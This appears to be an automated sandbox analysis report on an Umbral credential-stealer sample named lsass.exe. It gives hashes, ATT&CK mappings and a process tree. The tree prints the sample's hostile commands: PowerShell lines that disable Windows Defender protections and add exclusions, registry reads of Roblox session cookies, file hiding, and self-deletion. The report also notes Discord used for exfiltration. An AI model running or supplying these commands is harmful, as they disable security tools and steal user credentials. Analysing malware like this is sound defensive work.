umbral | 78f05b962a93bd4cd6086b6d785c987b18891f3a9e39866a5115c80bbcd51f3c

Analysis

max time kernel
119s
max time network
124s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
23/08/2024, 21:52

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General

Target

lsass.exe
Size

231KB
MD5

3593f099b9c3e67320e88a6934eaaa25
SHA1

280da4c122c680ecb0f246c67e3913eb1cc923a1
SHA256

78f05b962a93bd4cd6086b6d785c987b18891f3a9e39866a5115c80bbcd51f3c
SHA512

b3c391e9e652fa8918fe9b7e0f9ee53166840a688b1dffb3dc8d045c879b5f825c0a571c306d98cf2b5c44e88a99e8d8fcfede310f063df506acce09e31ee75c
SSDEEP

6144:5loZM+rIkd8g+EtXHkv/iD4S08Cls8e1mrci:LoZtL+EP8DQ01

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1848-1-0x0000000001130000-0x0000000001170000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2600	powershell.exe
3016	powershell.exe
2988	powershell.exe
2524	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	lsass.exe

Deletes itself 1 IoCs

pid	Process
2224	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2224	cmd.exe
1284	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1508	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1284	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1848	lsass.exe
2600	powershell.exe
3016	powershell.exe
2988	powershell.exe
1960	powershell.exe
2524	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1848	lsass.exe
Token: SeIncreaseQuotaPrivilege	2244	wmic.exe
Token: SeSecurityPrivilege	2244	wmic.exe
Token: SeTakeOwnershipPrivilege	2244	wmic.exe
Token: SeLoadDriverPrivilege	2244	wmic.exe
Token: SeSystemProfilePrivilege	2244	wmic.exe
Token: SeSystemtimePrivilege	2244	wmic.exe
Token: SeProfSingleProcessPrivilege	2244	wmic.exe
Token: SeIncBasePriorityPrivilege	2244	wmic.exe
Token: SeCreatePagefilePrivilege	2244	wmic.exe
Token: SeBackupPrivilege	2244	wmic.exe
Token: SeRestorePrivilege	2244	wmic.exe
Token: SeShutdownPrivilege	2244	wmic.exe
Token: SeDebugPrivilege	2244	wmic.exe
Token: SeSystemEnvironmentPrivilege	2244	wmic.exe
Token: SeRemoteShutdownPrivilege	2244	wmic.exe
Token: SeUndockPrivilege	2244	wmic.exe
Token: SeManageVolumePrivilege	2244	wmic.exe
Token: 33	2244	wmic.exe
Token: 34	2244	wmic.exe
Token: 35	2244	wmic.exe
Token: SeIncreaseQuotaPrivilege	2244	wmic.exe
Token: SeSecurityPrivilege	2244	wmic.exe
Token: SeTakeOwnershipPrivilege	2244	wmic.exe
Token: SeLoadDriverPrivilege	2244	wmic.exe
Token: SeSystemProfilePrivilege	2244	wmic.exe
Token: SeSystemtimePrivilege	2244	wmic.exe
Token: SeProfSingleProcessPrivilege	2244	wmic.exe
Token: SeIncBasePriorityPrivilege	2244	wmic.exe
Token: SeCreatePagefilePrivilege	2244	wmic.exe
Token: SeBackupPrivilege	2244	wmic.exe
Token: SeRestorePrivilege	2244	wmic.exe
Token: SeShutdownPrivilege	2244	wmic.exe
Token: SeDebugPrivilege	2244	wmic.exe
Token: SeSystemEnvironmentPrivilege	2244	wmic.exe
Token: SeRemoteShutdownPrivilege	2244	wmic.exe
Token: SeUndockPrivilege	2244	wmic.exe
Token: SeManageVolumePrivilege	2244	wmic.exe
Token: 33	2244	wmic.exe
Token: 34	2244	wmic.exe
Token: 35	2244	wmic.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeIncreaseQuotaPrivilege	2040	wmic.exe
Token: SeSecurityPrivilege	2040	wmic.exe
Token: SeTakeOwnershipPrivilege	2040	wmic.exe
Token: SeLoadDriverPrivilege	2040	wmic.exe
Token: SeSystemProfilePrivilege	2040	wmic.exe
Token: SeSystemtimePrivilege	2040	wmic.exe
Token: SeProfSingleProcessPrivilege	2040	wmic.exe
Token: SeIncBasePriorityPrivilege	2040	wmic.exe
Token: SeCreatePagefilePrivilege	2040	wmic.exe
Token: SeBackupPrivilege	2040	wmic.exe
Token: SeRestorePrivilege	2040	wmic.exe
Token: SeShutdownPrivilege	2040	wmic.exe
Token: SeDebugPrivilege	2040	wmic.exe
Token: SeSystemEnvironmentPrivilege	2040	wmic.exe
Token: SeRemoteShutdownPrivilege	2040	wmic.exe
Token: SeUndockPrivilege	2040	wmic.exe
Token: SeManageVolumePrivilege	2040	wmic.exe
Token: 33	2040	wmic.exe
Token: 34	2040	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1848 wrote to memory of 2244	1848	lsass.exe	31
PID 1848 wrote to memory of 2244	1848	lsass.exe	31
PID 1848 wrote to memory of 2244	1848	lsass.exe	31
PID 1848 wrote to memory of 2680	1848	lsass.exe	34
PID 1848 wrote to memory of 2680	1848	lsass.exe	34
PID 1848 wrote to memory of 2680	1848	lsass.exe	34
PID 1848 wrote to memory of 2600	1848	lsass.exe	36
PID 1848 wrote to memory of 2600	1848	lsass.exe	36
PID 1848 wrote to memory of 2600	1848	lsass.exe	36
PID 1848 wrote to memory of 3016	1848	lsass.exe	38
PID 1848 wrote to memory of 3016	1848	lsass.exe	38
PID 1848 wrote to memory of 3016	1848	lsass.exe	38
PID 1848 wrote to memory of 2988	1848	lsass.exe	40
PID 1848 wrote to memory of 2988	1848	lsass.exe	40
PID 1848 wrote to memory of 2988	1848	lsass.exe	40
PID 1848 wrote to memory of 1960	1848	lsass.exe	42
PID 1848 wrote to memory of 1960	1848	lsass.exe	42
PID 1848 wrote to memory of 1960	1848	lsass.exe	42
PID 1848 wrote to memory of 2040	1848	lsass.exe	44
PID 1848 wrote to memory of 2040	1848	lsass.exe	44
PID 1848 wrote to memory of 2040	1848	lsass.exe	44
PID 1848 wrote to memory of 2532	1848	lsass.exe	46
PID 1848 wrote to memory of 2532	1848	lsass.exe	46
PID 1848 wrote to memory of 2532	1848	lsass.exe	46
PID 1848 wrote to memory of 880	1848	lsass.exe	48
PID 1848 wrote to memory of 880	1848	lsass.exe	48
PID 1848 wrote to memory of 880	1848	lsass.exe	48
PID 1848 wrote to memory of 2524	1848	lsass.exe	50
PID 1848 wrote to memory of 2524	1848	lsass.exe	50
PID 1848 wrote to memory of 2524	1848	lsass.exe	50
PID 1848 wrote to memory of 1508	1848	lsass.exe	52
PID 1848 wrote to memory of 1508	1848	lsass.exe	52
PID 1848 wrote to memory of 1508	1848	lsass.exe	52
PID 1848 wrote to memory of 2224	1848	lsass.exe	54
PID 1848 wrote to memory of 2224	1848	lsass.exe	54
PID 1848 wrote to memory of 2224	1848	lsass.exe	54
PID 2224 wrote to memory of 1284	2224	cmd.exe	56
PID 2224 wrote to memory of 1284	2224	cmd.exe	56
PID 2224 wrote to memory of 1284	2224	cmd.exe	56

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2680	attrib.exe

C:\Users\Admin\AppData\Local\Temp\lsass.exe
"C:\Users\Admin\AppData\Local\Temp\lsass.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1848
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\lsass.exe"
  2⤵
  - Views/modifies file attributes
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\lsass.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1960
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2524
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1508
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\lsass.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
19e4b9e04b2fa2c72c13d8e51148ea2d

SHA1
789b996275e836d04818321fb608cde050230e12

SHA256
6c8964b12fcb3df2f465b8340f32b7019ca5638f5a586d700c248045d13dce93

SHA512
49bf5d5f30a58c599598e755c73e97ef138028fce9ee347ee7fcaa0b11e1ff18dbcb6df7b8bb8516cff74aa86930d5bb2a79fd94e5c458e77590fe0e640baef1

Download Submit
memory/1848-0-0x000007FEF5DE3000-0x000007FEF5DE4000-memory.dmp

Filesize
4KB

Download
memory/1848-1-0x0000000001130000-0x0000000001170000-memory.dmp

Filesize
256KB

Download
memory/1848-2-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp

Filesize
9.9MB

Download
memory/1848-47-0x000007FEF5DE0000-0x000007FEF67CC000-memory.dmp

Filesize
9.9MB

Download
memory/2524-43-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2600-7-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2600-8-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/3016-14-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/3016-15-0x0000000001E00000-0x0000000001E08000-memory.dmp

Filesize
32KB

Download